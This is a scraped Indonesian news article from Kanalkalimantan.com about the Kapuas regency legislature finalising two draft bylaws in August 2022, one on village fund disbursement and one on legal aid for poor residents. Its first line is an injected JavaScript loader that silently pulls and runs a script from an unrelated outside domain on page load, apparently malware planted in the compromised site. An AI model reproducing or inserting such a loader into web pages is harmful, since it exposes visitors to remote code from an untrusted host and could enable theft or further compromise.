(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Badan Pembuat Peraturan Daerah (Bapemperda) DPRD Kabupaten Kapuas menggelar rapat bersama mitra kerja di ruang rapat gabungan dewan, Senin (8/8/2022).
Rapat dipimpin Wakil Ketua Bapemperda H Darwandie bersama anggota dan eksekutif untuk penyempurnaan dua Rancangan Peraturan Daerah (Raperda).
Darwandie menyampaikan, rapat bersama eksekutif merupakan rapat terakhir terkait proses pembentukan Raperda bahwa di Kabupaten Kapuas telah disusun Bapemperda untuk pembentukan program tahun 2022 dan ada tunggakan Raperda tahun 2021.
“Sebelumnya kita sudah melakukan proses pembahasan, telaah lebih lanjut oleh Pansus satu dan Pansus dua dan tiga. Ada enam buah Raperda dibahas bersama eksekutif,” katanya.
Baca juga : Yuk Ikutan Temu Novelis Eva Liana di Palnam
Ia menyebut dari 6 buah Raperda tersebut, 2 di antaranya sudah pada finalisasi pembahasan karena sudah melalui fasilitasi pembahasan biro hukum, Sekertariat Biro Hukum Provinsi Kalteng.
“Hasil fasilitasi ini yang menjadi bahan pembahasan Bapemperda bersama eksekutif. Terutama materi dan nomenklatur yang dipadukan melalui pembahasan Pansus maupun Bapemperda, pembahasan akhir dan penyesuaian dua Raperda,” ucapnya.
Kemudian, lanjut H Darwandie, harus dipercepat prosesnya karena saat ini pemerintah desa memasuki masa transisi, bahwa sudah harus dilakukan pencairan dana desa (DD) tahap 1, 2 dan 3. Harus ada petunjuk regulasi, sehingga tidak menimbulkan permasalahan. Kemudian, harus dipercepat regulasi aturannya supaya pembangunan di desa tidak terhambat.
“Nanti ada Perbup yang mengatur juklak juknisnya terkait produk hukum daerah. Terkait pencairan dana desa, sudah kami bahas bersama, nanti dilihat kembali Perdanya,” jelasnya.
Baca juga : Pengerasan Jalan 5 Km Desa Sumber Arum di Satui, Diharapkan Lancar Tanpa Hambatan
Lalu, ada produk hukum daerah tentang bantuan hukum pada masyarakat miskin. Ini merupakan produk hukum daerah yang baru. Memang, proses pembahasan cukup hangat di panitia khusus, bisa direalisasi melalui uji petik, referensi sampai pada proses fasilitasi.
“Memang ada koreksi dari Biro Hukum Provinsi Setda Kalteng hanya narasi saja, orang miskin menjadi masyarakat miskin, ruang lingkup harus diperluas baik diberikan bantuan hukum dan tidak diberikan,” tuturnya. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui Badan Gizi Nasional akan memulai program makan bergizi gratis pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
This website uses cookies.